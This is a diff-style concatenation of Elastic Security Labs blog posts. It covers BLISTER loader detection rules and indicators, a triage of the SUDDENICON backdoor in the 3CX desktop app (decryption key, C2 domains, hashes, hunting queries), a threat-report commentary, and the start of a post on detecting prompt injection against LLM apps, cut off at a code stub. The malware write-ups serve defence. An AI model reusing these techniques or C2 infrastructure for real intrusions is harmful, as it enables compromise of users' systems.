"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup",
|
||||
"HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup",
|
||||
"HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup"
|
||||
) ]
|
||||
/* Write File to Modified Startup Folder */
|
||||
[file where event.type : ("creation", "change") and file.path : "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*"]
|
||||
```
|
||||
|
||||

|
||||
|
||||
**Elastic Detection Engine Rules**
|
||||
|
||||
The following existing public detection rules can also be used to detect some of the employed techniques:
|
||||
|
||||
[Potential Windows Error Manager Masquerading](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_masquerading_werfault.toml)
|
||||
|
||||
[Windows Defender Exclusions Added via PowerShell](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml)
|
||||
|
||||
[Startup or Run Key Registry Modification](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_run_key_and_startup_broad.toml)
|
||||
|
||||
[Shortcut File Written or Modified for Persistence](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_startup_folder_file_written_by_suspicious_process.toml)
|
||||
|
||||
[Suspicious Startup Shell Folder Modification](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml)
|
||||
|
||||
## MITRE ATT&CK
|
||||
|
||||
[T1218.011 - Signed Binary Proxy Execution: Rundll32](https://attack.mitre.org/techniques/T1218/011/)
|
||||
|
||||
[T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/)
|
||||
|
||||
[T1547.001 - Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001/)
|
||||
|
||||
[T1036 - Masquerading](https://attack.mitre.org/techniques/T1036/)
|
||||
|
||||
## Summary
|
||||
|
||||
The BLISTER loader has several tricks which has allowed it to fly under the radar of the security community for months. This includes leveraging valid code signing certificates, infecting legitimate libraries to fool machine learning models, and executing payloads in-memory. However, the depth of protection offered with Elastic Security meant we were still able to identify and stop in-the-wild attacks.
|
||||
|
||||
Existing Elastic Security can access these capabilities within the product. If you’re new to Elastic Security, take a look at our [Quick Start guides](https://www.elastic.co/training/free#quick-starts) (bite-sized training videos to get you started quickly) or our [free fundamentals training courses](https://www.elastic.co/training/free#fundamentals). You can always get started with a [free 14-day trial of Elastic Cloud](https://cloud.elastic.co/registration?elektra=whats-new-elastic-security-7-16-blog).
|
||||
|
||||
## Indicators
|
||||
|
||||
|
|
||||
| |
|
||||
| Indicator | Type | Note |
|
||||
| --- | --- | --- |
|
||||
| F3503970C2B5D57687EC9E31BB232A76B624C838 | SHA1 | Code-signing certificate thumbprint |
|
||||
| moduleloader.s3.eu-west-2.amazonaws[.]comdiscountshadesdirect[].com bimelectrical[.]comclippershipintl[.]com | Domain name | Malware c2 |
|
||||
| 188.68.221[.]20393.115.18[.]24852.95.148[.]16284.38.183[.]17480.249.145[.]212185.170.213[.]186 | IP Address | Malware c2 |
|
||||
| ed6910fd51d6373065a2f1d3580ad645f443bf0badc398aa77185324b0284db8 cb949ebe87c55c0ba6cf0525161e2e6670c1ae186ab83ce46047446e9753a9267b9091c41525f1721b12dcef601117737ea990cee17a8eecf81dcfb25ccb5a8f84a67f191a93ee827c4829498d2cb1d27bdd9e47e136dc6652a5414dab440b74cc31c124fc39025f5c3a410ed4108a56bb7c6e90b5819167a06800d02ef1f0289472d4cb393256a62a466f6601014e5cb04a71f115499c320dc615245c7594d44fe551bcea5e07879ec84a7f1cea1036cfd0a3b03151403542cab6bd8541f8e51a10a07413115c254cb7a5c4f63ff525e64adfe8bb60acef946bb7656b7a2b3d9bccc1862e3e5a6c89524f2d76144d121d0ee95b1b8ba5d0ffcaa23025318a608a414a40419e32282d33af3273ff73a596a7ac8738e9cdca6e7db0e41c1a7658923b2f90749da76b997e1c7870ae3402aba875fdbdd64f79cbeba2f928884129ed241c92f9bc969a160da2c4c0b006581fa54f9615646dd46467d24fe5526c7a294c710f4074b37ade714c83b6b7bf722a46aef61c02ba6543de5d59edc97b60 | sha256 | Signed Droppers |
|
||||
| df8142e5cf897af65972041024ebe74c7915df0e18c6364c5fb9b2943426ed1a2d049f7658a8dccd930f7010b32ed1bc9a5cc0f8109b511ca2a77a2104301369696f6274af4b9e8db4727269d43c83c350694bd1ef4bd5ccdc0806b1f014568aa34821b50aadee0dd85c382c43f44dae1e5fef0febf2f7aed6abf3f3e21f79947cd03b30cfeea07b5ea4c8976e6456cb65e09f6b8e7dcc68884379925681b1c481edf3a3b295b0189e54f79387e7df61250cc8eab4f1e8f42eb5042102df8f1f44e5770751679f178f90ef7bd57e8e4ccfb6051767d8e906708c52184bf27f320a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00a486e836026e184f7d3f30eaa4308e2f0c381c070af1f525118a484a987827c1359ffa33784cb357ddabc42be1dcb9854ddb113fd8d6caf3bf0391380f9d640a863228efa55b54a8d03a87bb602a2e418856e0028ae409357454a6303b128224d0f934fd5d63a1524616bc13b51ce274539a8ead9b072e7f7fe1a14bb8b927a6c0f3b27ae4f7db457a86a38244225cca35aa0960eb6a685ed350e99a36c32b61216cb4f2caeaf59f297f72f7f271b084637e5087d59411ac77ddd3b87e7a90aa00eb2f75822abeb2e222d007bdec464bfbc3934b8be12983cc898b37c6ace08125a0d6a839c4dc708dcdd1ef9395570cc86d54d4725b7daf56964017f66be3c13c7480998ade344b74e956f7d3a3f1a989aaf43446163a62f0a8ed34b0c010d05651e8a8e6f9c63c4c1162efadfcb4cdd9ad634c5e00a5ab03259fcdeaa225acba3a50930e7a144637faf88a98f2990a27532bfd20a93dc160eb2db4fbc17b58fa885e9ea1293552cb45a89e740426fa9c313225ff77ad1980dfea83b6c4a91cbee3210360c5d0939c5d38b7b9f0c232cf9fbf93b46a19e53930a1606bda28a556ca9ea3f7870561ed3c6387daf495404ed3827f212472501d2541d5ccf8b941c61d2ba1e001c137533cd7fb6b38fe71fee489d61dbcfea45c37c5ec1bcf845c17ea84d547e97a030d2b02ac2eaa9763ffb4f96f6c54659533a23e17268aababca09d9cd2f3cfcc06b33eff91d55602cb33a66ab3fd4f540b9212fce5ddae54a6c6f808f9b19e1fab1c1b83dc99386f0ceee8593ddfd461ac047eae812df8733 | sha256 | Unsigned BLISTER Loader DLL |
|
||||
| afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2516cac58a6bfec5b9c214b6bba0b724961148199d32fb42c01b12ac31f6a60998ae2c205220c95f0f7e1f67030a9027822cc18e941b669e2a52a5dbb5af74bc9fe7357d48906b68f094a81d19cc0ff93f56cc40454ac5f00e2e2d9c8ccdbc388af555d61becfcf0c13d4bc8ea7ab97dcdc6591f8c6bb892290898d28ebce1c5d96bf7bd5f405d3b4c9a71bcd1060395f28f2466fdb91cafc6e261a31d41eb37af5104d0ead2f178711b1e23db3c16846de7d1a3ac04dbe09bacebb847775d76d8e22cf159345852be585bc5a8e9af476b00bc91cdda98fd6a3244219a90ac9d9d54dfedda0efa36ed445d501845b61ab73c2102786be710ac19f697fc8d4ca5c | sha256 | Signed BLISTER Loader DLL |
|
||||
| Launcher V7.3.13.exeGuiFramwork.exeffxivsetup.exePredictor V8.21 - Copy.exePredictor Release v5.9.rarPredictorGUI.exeReadhelper.exedxpo8umrzrr1w6gm.exePers.exerazer.exeAmlidiag.exeModern.exeiuyi.exeCleandevicehelper.exeinstaller.exe | File name | Dropper Names |
|
||||
| Holorui.dllColorui.dllPasade.dllAxsssig.dllHelper.CC.dllHeav.dllPasadeis.dllTermmgr.dllTermService.dllrdpencom.dlllibcef.dlltnt.dll | File name | BLISTER DLL Names |
|
|
@ -0,0 +1,150 @@
|
|||
---
|
||||
title: "Elastic users protected from SUDDENICON’s supply chain attack"
|
||||
slug: "elastic-users-protected-from-suddenicon-supply-chain-attack"
|
||||
date: "2023-05-05"
|
||||
subtitle: "Elastic alert telemetry has observed protection events related to the supply chain attacks targeting the 3CXDesktopApp update process."
|
||||
description: "Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, a potential supply-chain compromise affecting 3CX VOIP softphone users."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
- slug: remco-sprooten
|
||||
- slug: joe-desimone
|
||||
- slug: samir-bousseaden
|
||||
- slug: devon-kerr
|
||||
image: "photo-edited-06@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- ref7957
|
||||
- suddenicon
|
||||
---
|
||||
|
||||
# Key takeaways
|
||||
|
||||
- Elastic users are protected from supply chain attacks targeting the 3CX users
|
||||
- How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams
|
||||
- Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists
|
||||
|
||||
# Preamble
|
||||
|
||||
On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users [as detailed in a Reddit post](https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/). Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 [as reported by Todyl](https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign).
|
||||
|
||||
[3CX states](https://www.3cx.com/company/customers/) it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.
|
||||
|
||||
In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware
|
||||
|
||||
# SUDDENICON triage analysis
|
||||
|
||||
The 3CXDesktopApp [installer MSI](https://www.virustotal.com/gui/file/aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868) appears to contain malicious code which waits seven days post-installation before downloading additional files from [GitHub](https://github.com/IconStorages/images) and communicating with malicious command-and-control domains. The client application writes `ffmpeg.dll` and `d3dcompiler\_47.dll` to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that `ffmpeg.dll` and `d3dcompiler\_47.dll` are both legitimate file names and rules should not be created on them alone.
|
||||
|
||||

|
||||
|
||||
The `ffmpeg.dll` binary extracts SUDDENICON from `d3dcompiler\_47.dll` by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (`3jB(2bsG#@c7`). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been [associated with DPRK](https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a). Upon successfully executing, this shellcode stub writes a new file ( `manifest` ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.
|
||||
|
||||

|
||||
|
||||
C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the [IconStorages Github repository](https://github.com/IconStorages) (this repository has been removed by Github). This repo was created by GitHub ID `120072117` on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.
|
||||
|
||||

|
||||
|
||||
Initial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.
|
||||
|
||||
The CEO of 3CX has [recommended uninstalling the software](https://www.3cx.com/community/threads/3cx-desktopapp-security-alert.119951/); a small number of [community forum](https://www.3cx.com/community/forums) posts outline how security tooling is reacting to potential malware behaviors, and [CrowdStrike](https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/) and [SentinelOne](https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/) have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.
|
||||
|
||||
# Detection logic
|
||||
|
||||
## Prevention
|
||||
|
||||
- Memory Threat Detection Alert: Shellcode injection
|
||||
- [Windows.Trojan.SuddenIcon](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar)
|
||||
|
||||

|
||||
|
||||
## Hunting queries
|
||||
|
||||
The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.
|
||||
|
||||
## KQL queries
|
||||
|
||||
The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:
|
||||
|
||||
`process.name : "3CXDesktopApp.exe" and dns.question.name : "raw.githubusercontent.com"`
|
||||
|
||||
The following KQL query can be used to identify several host-based indicators of this activity:
|
||||
|
||||
`dll.hash.sha256 : "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896" or dll.hash.sha256 : "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"`
|
||||
|
||||
## EQL queries
|
||||
|
||||
Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.
|
||||
|
||||
The following EQL query can be used to profile 3CX software and child software:
|
||||
|
||||
`any where process.code_signature.subject_name == "3CX Ltd" or process.parent.code_signature.subject_name == "3CX Ltd"`
|
||||
|
||||
The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:
|
||||
|
||||
`network where process.code_signature.subject_name == "3CX Ltd" and dns.question.name == “raw.githubusercontent.com”`
|
||||
|
||||
The following EQL query can be used to identify files written by the 3CXDesktopApp client:
|
||||
|
||||
`file where event.type == "creation" and (host.os.type == "windows" and file.path : "*:\\Users\\*\\AppData\\Local\\Programs\\C3XDesktopApp\\app\\*" and file.name : ("manifest")) or (host.os.type == "macos" and file.path : "*/Library/Application Support/3CX Desktop App/" and file.name : ("UpdateAgent", ".main_storage", ".session-lock")`
|
||||
|
||||
The following EQL query can be used to identify several host-based indicators of this activity:
|
||||
|
||||
`sequence by host.name, process.entity_id[process where process.code_signature.subject_name:"3CX Ltd"][library where dll.hash.sha256:"c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02","7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"][network where dns.question.name:"raw.githubusercontent.com"]`
|
||||
|
||||
The following EQL query can be used to identify this activity if the DLL is updated:
|
||||
|
||||
`library where process.code_signature.subject_name : "3CX Ltd" and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))`
|
||||
|
||||
## YARA
|
||||
|
||||
Elastic Security Labs has released [two YARA signatures](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar) for the malicious shellcode, which we refer to as SUDDENICON.
|
||||
|
||||
## Defensive recommendations
|
||||
|
||||
Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.
|
||||
|
||||

|
||||
|
||||
# References
|
||||
|
||||
The following were referenced throughout the above research: - [https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/](https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/) - [https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/](https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/) - [https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign](https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign)
|
||||
|
||||
# Indicators
|
||||
|
||||
## Potentially malicious domains
|
||||
|
||||
Bold domains indicate that they were observed in our analysis.
|
||||
|
||||
- akamaicontainer[.]com
|
||||
- akamaitechcloudservices[.]com
|
||||
- `azuredeploystore[.]com`
|
||||
- azureonlinecloud[.]com
|
||||
- azureonlinestorage[.]com
|
||||
- dunamistrd[.]com
|
||||
- glcloudservice[.]com
|
||||
- journalide[.]org
|
||||
- `msedgepackageinfo[.]com`
|
||||
- msstorageazure[.]com
|
||||
- `msstorageboxes[.]com`
|
||||
- `officeaddons[.]com`
|
||||
- `officestoragebox[.]com`
|
||||
- pbxcloudeservices[.]com
|
||||
- pbxphonenetwork[.]com
|
||||
- pbxsources[.]com
|
||||
- qwepoi123098[.]com
|
||||
- sbmsa[.]wiki
|
||||
- `sourceslabs[.]com`
|
||||
- `visualstudiofactory[.]com`
|
||||
- `zacharryblogs[.]com`
|
||||
|
||||
# Potentially impacted 3CXDesktopApp versions and hashes:
|
||||
|
||||
Client hash: `dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc` OS: Windows Installer hash: `aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868` Installer filename: `3cxdesktopapp-18.12.407.msi`
|
||||
|
||||
Client hash: `fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405` OS: Windows Installer hash: `59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983` Installer filename: `3cxdesktopapp-18.12.416.msi`
|
||||
|
||||
Client hash: `92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61` OS: macOS Installer hash: `5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290` Installer filename: `3CXDesktopApp-18.11.1213.dmg`
|
||||
|
||||
Client hash: `b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb` OS: macOS Installer hash: `e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec` Installer filename: `3cxdesktopapp-latest.dmg`
|
|
@ -0,0 +1,54 @@
|
|||
---
|
||||
title: "Elastic’s 2022 Global Threat Report: A roadmap for navigating today’s growing threatscape"
|
||||
slug: "elastics-2022-global-threat-report-a-roadmap-for-navigating-todays-growing-threatscape"
|
||||
date: "2022-12-08"
|
||||
description: "Threat intelligence resources like the 2022 Elastic Global Threat Report are critical to helping teams evaluate their organizational visibility, capabilities, and expertise in identifying and preventing cybersecurity threats."
|
||||
author:
|
||||
- slug: mandy-andress
|
||||
image: "gtr-blog-image-720x420.jpg"
|
||||
category:
|
||||
- slug: reports
|
||||
---
|
||||
|
||||
Staying up-to-date on the current state of security and understanding the implications of today’s growing threat landscape is critical to my role as CISO at Elastic. Part of this includes closely following the latest security threat reports, highlighting trends, and offering valuable insights into methods bad actors use to compromise environments.
|
||||
|
||||
Threat intelligence resources like the [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) are critical to helping my team evaluate our organization’s visibility, capabilities, and expertise in identifying and preventing cybersecurity threats. It helps us answer questions such as:
|
||||
|
||||
- How is our environment impacted by the current and emerging threats identified in this report?
|
||||
- Does this new information change our risk profile and impact our risk analysis?
|
||||
- What adjustments do we need to make to our controls?
|
||||
- Are we lacking visibility in any areas?
|
||||
- Do we have the right detections in place?
|
||||
- How might these insights affect my team’s workflows?
|
||||
|
||||
Elastic’s threat report provides a real-world roadmap to help my team make the connections necessary to strengthen our security posture. It influences our overall program roadmaps, helping us prioritize where we focus our resources, including adjusting our defenses, testing incident response plans, and identifying updates for our security operations center (SOC). And perhaps most importantly, the report underscores our belief that providing open, transparent, and accessible security for all organizations is key to defending ourselves against cybersecurity threats.
|
||||
|
||||
## Check your cloud security, and then check it again
|
||||
|
||||
Threat reports often reinforce many of the existing trends and phenomena we see within security, but they can also reveal some unexpected insights. While the cloud enables organizations to operate faster and at scale, it also creates security gaps that leave room for potential attacks as threat actors continue shifting their focus to the cloud.
|
||||
|
||||
The Elastic Global Threat Report revealed that nearly 40% of all malware infections are on Linux endpoints, further emphasizing the need for better cloud security. With [nine out of the top ten public clouds running on Linux](https://www.redhat.com/en/resources/state-of-linux-public-cloud-solutions-ebook), this statistic is an important reminder to organizations not to rely solely on their cloud provider’s standard configurations for security.
|
||||
|
||||
The findings further revealed that approximately 57% of cloud security events were attributed to AWS, followed by 22% for Google Cloud and 21% for Azure, and that 1 out of every 3 (33%) cloud alerts was related to credential access across all cloud service providers.
|
||||
|
||||
While the data points to an increased need for organizations to properly secure their cloud environments, it also reinforces our belief that cloud security posture management (CSPM) needs to evolve similarly to endpoint security.
|
||||
|
||||
Initially, endpoint security relied on simple antivirus, which was only as good as its antivirus signatures. To avoid increasingly sophisticated malware and threats, endpoint security evolved by employing more advanced technologies like next-gen antivirus with machine learning and artificial intelligence. CSPM is currently facing a similar situation. Right now, we are closer to the bottom of the cloud security learning curve than the top, and our technologies and strategies must continue to evolve to manage new and emerging threats.
|
||||
|
||||
The Elastic Global Threat Report demonstrates that native tools and traditional security tactics are ineffective when implemented in cloud environments and offers recommendations for how organizations can adapt to the evolving threat landscape.
|
||||
|
||||
## Get the basics right first
|
||||
|
||||
Security leaders and teams should leverage insights from this report to inform their priorities and adjust their workflows accordingly.
|
||||
|
||||
The findings clearly show why focusing on and improving basic security hygiene is so crucial to improved security outcomes. Too often, an organization’s environment is compromised by something as simple as a weak password or failure to update default configurations. Prioritizing security fundamentals — identity and access management, patching, threat modeling, password awareness, and multi-factor authentication — is a simple yet effective way for security teams to prevent and protect against potential threats.
|
||||
|
||||
## Develop security in the open
|
||||
|
||||
Organizations should consider adopting an open approach to security. For example, Elastic’s threat report links to our recent publication of [protection artifacts](https://github.com/elastic/protections-artifacts), which transparently shares endpoint behavioral logic that we develop at Elastic to identify adversary tradecraft and make it freely available to our community.
|
||||
|
||||
The report also highlights how Elastic Security’s [prebuilt detection rules](https://github.com/elastic/detection-rules/tree/main/rules) map to the MITRE ATT&CK matrix for each cloud service provider. As an adopter of the MITRE framework since its inception, Elastic understands the importance of mapping detection rules to an industry standard. For my team, this helps us have deeper insights into the breadth and depth of our security posture.
|
||||
|
||||
Providing open detection rules, open artifacts, and open code enables organizations to focus on addressing gaps in their security technology stack and developing risk profiles for new and emerging threats. Without openness and transparency in security, organizations are putting themselves at greater risk of tomorrow’s cybersecurity threats.
|
||||
|
||||
Download the [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report).
|
|
@ -0,0 +1,498 @@
|
|||
---
|
||||
title: "Embedding Security in LLM Workflows: Elastic's Proactive Approach"
|
||||
slug: "embedding-security-in-llm-workflows"
|
||||
date: "2024-04-25"
|
||||
subtitle: "Exploring Elastic's innovative approach for integrating security into the lifecycle of LLMs to safeguard against vulnerabilities featuring Elastic’s AI Assistant."
|
||||
description: "Dive into Elastic's exploration of embedding security directly within Large Language Models (LLMs). Discover our strategies for detecting and mitigating several of the top OWASP vulnerabilities in LLM applications, ensuring safer and more secure AI-driven applications."
|
||||
author:
|
||||
- slug: mika-ayenson
|
||||
image: "Security Labs Images 5.jpg"
|
||||
category:
|
||||
- slug: detection-science
|
||||
- slug: machine-learning
|
||||
- slug: generative-ai
|
||||
---
|
||||
|
||||
We recently concluded one of our quarterly Elastic OnWeek events, which provides a unique week to explore opportunities outside of our regular day-to-day. In line with recent publications from [OWASP](https://owasp.org/www-project-top-10-for-large-language-model-applications/) and the [NSA AISC](https://media.defense.gov/2024/Apr/15/2003439257/-1/-1/0/CSI-DEPLOYING-AI-SYSTEMS-SECURELY.PDF), we decided to spend some time with the OWASP Top Ten vulnerabilities for LLMs natively in Elastic. In this article, we touch on a few opportunities to detect malicious LLM activity with [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html), namely:
|
||||
|
||||
- LLM01: Prompt Injection
|
||||
- LLM02: Insecure Output Handling
|
||||
- LLM04: Model Denial of Service
|
||||
- LLM06: Sensitive Information Disclosure
|
||||
|
||||
Elastic provides the ability to audit LLM applications for malicious behaviors; we’ll show you one approach with just four steps:
|
||||
|
||||
1. Intercepting and analyzing the LLM requests and responses
|
||||
2. Enriching data with LLM-specific analysis results
|
||||
3. Sending data to Elastic Security
|
||||
4. Writing ES|QL detection rules that can later be used to respond
|
||||
|
||||
This approach reflects our ongoing efforts to explore and implement advanced detection strategies, including developing detection rules tailored specifically for LLMs, while keeping pace with emerging generative AI technologies and security challenges. Building on this foundation, last year marked a significant enhancement to our toolkit and overall capability to continue this proactive path forward.
|
||||
|
||||
Elastic [released](https://www.elastic.co/blog/introducing-elastic-ai-assistant) the AI Assistant for Security, introducing how the open generative AI sidekick is powered by the [Search AI Platform](https://www.elastic.co/platform) — a collection of relevant tools for developing advanced search applications. Backed by machine learning (ML) and artificial intelligence (AI), this AI Assistant provides powerful pre-built workflows like alert summarization, workflow suggestions, query conversions, and agent integration advice. I highly recommend you read more on Elastic’s [AI Assistant](https://www.elastic.co/elasticsearch/ai-assistant) about how the capabilities seamlessly span across Observability and Security.
|
||||
|
||||
We can use the AI Assistant’s capabilities as a third-party LLM application to capture, audit, and analyze requests and responses for convenience and to run experiments. Once data is in an index, writing behavioral detections on it becomes business as usual — we can also leverage the entire security detection engine. Even though we’re proxying the Elastic AI Assistant LLM activity in this experiment, it’s merely used as a vehicle to demonstrate auditing LLM-based applications. Furthermore, this proxy approach is intended for third-party applications to ship data to [Elastic Security](https://www.elastic.co/guide/en/security/current/es-overview.html).
|
||||
|
||||
We can introduce security mechanisms into the application's lifecycle by intercepting LLM activity or leveraging observable LLM metrics. It’s common practice to address prompt-based threats by [implementing various safety tactics](https://platform.openai.com/docs/guides/safety-best-practices):
|
||||
|
||||
1. **Clean Inputs**: Sanitize and validate user inputs before feeding them to the model
|
||||
2. **Content Moderation**: Use OpenAI tools to filter harmful prompts and outputs
|
||||
3. **Rate Limits and Monitoring**: Track usage patterns to detect suspicious activity
|
||||
4. **Allow/Blocklists**: Define acceptable or forbidden inputs for specific applications
|
||||
5. **Safe Prompt Engineering**: Design prebuilt prompts that guide the model towards intended outcomes
|
||||
6. **User Role Management**: Control user access to prevent unauthorized actions
|
||||
7. **Educate End-Users**: Promote responsible use of the model to mitigate risks
|
||||
8. **Red Teaming & Monitoring**: Test for vulnerabilities and continuously monitor for unexpected outputs
|
||||
9. **HITL Feedback for Model Training**: Learn from human-in-the-loop, flagged issues to refine the model over time
|
||||
10. **Restrict API Access**: Limit model access based on specific needs and user verification
|
||||
|
||||
Two powerful features provided by OpenAI, and many other LLM implementers, is the ability to [submit end-user IDs](https://platform.openai.com/docs/guides/safety-best-practices/end-user-ids) and check content against a [moderation API](https://platform.openai.com/docs/guides/moderation), features that set the bar for LLM safety. Sending hashed IDs along with the original request aids in abuse detection and provides targeted feedback, allowing unique user identification without sending personal information. Alternatively, OpenAI's moderation endpoint helps developers identify potentially harmful content like hate speech, self-harm encouragement, or violence, allowing them to filter such content. It even goes a step further by detecting threats and intent to self-harm.
|
||||
|
||||
Despite all of the recommendations and best practices to protect against malicious prompts, we recognize that there is no single perfect solution. When using capabilities like OpenAI’s API, some of these threats may be detected by the content filter, which will respond with a usage policy violation notification:
|
||||
|
||||

|
||||
|
||||
|
||||
This content filtering is beneficial to address many issues; however, it cannot identify further threats in the broader context of the environment, application ecosystem, or other alerts that may appear. The more we can integrate generative AI use cases into our existing protection capabilities, the more control and possibilities we have to address potential threats. Furthermore, even if LLM safeguards are in place to stop rudimentary attacks, we can still use the detection engine to alert and take future remediation actions instead of silently blocking or permitting abuse.
|
||||
|
||||
## Proxying LLM Requests and Setup
|
||||
|
||||
The optimal security solution integrates additional safeguards directly within the LLM application's ecosystem. This allows enriching alerts with the complete context surrounding requests and responses. As requests are sent to the LLM, we can intercept and analyze them for potential malicious activity. If necessary, a response action can be triggered to defer subsequent HTTP calls. Similarly, inspecting the LLM's response can uncover further signs of malicious behavior.
|
||||
|
||||
Using a proxy to handle these interactions offers several advantages:
|
||||
|
||||
- **Ease of Integration and Management**: By managing the new security code within a dedicated proxy application, you avoid embedding complex security logic directly into the main application. This approach minimizes changes needed in the existing application structure, allowing for easier maintenance and clearer separation of security from business logic. The main application must only be reconfigured to route its LLM requests through the proxy.
|
||||
- **Performance and Scalability**: Placing the proxy on a separate server isolates the security mechanisms and helps distribute the computational load. This can be crucial when scaling up operations or managing performance-intensive tasks, ensuring that the main application's performance remains unaffected by the additional security processing.
|
||||
|
||||
### Quick Start Option: Proxy with Flask
|
||||
|
||||
You can proxy incoming and outgoing LLM connections for a faster initial setup. This approach can be generalized for other LLM applications by creating a simple Python-based [Flask](https://flask.palletsprojects.com/en/3.0.x/) application. This application would intercept the communication, analyze it for security risks, and log relevant information before forwarding the response.
|
||||
|
||||

|
||||
|
||||
|
||||
Multiple SDKs exist to connect to Elasticsearch and handle OpenAI LLM requests. The provided [llm-detection-proxy](https://github.com/elastic/llm-detection-proxy) repo demonstrates the available Elastic and OpenAI clients. This snippet highlights the bulk of the experimental proxy in a single Flask route.
|
||||
|
||||
``` python
|
||||
@app.route("/proxy/openai", methods=["POST"])
|
||||
def azure_openai_proxy():
|
||||
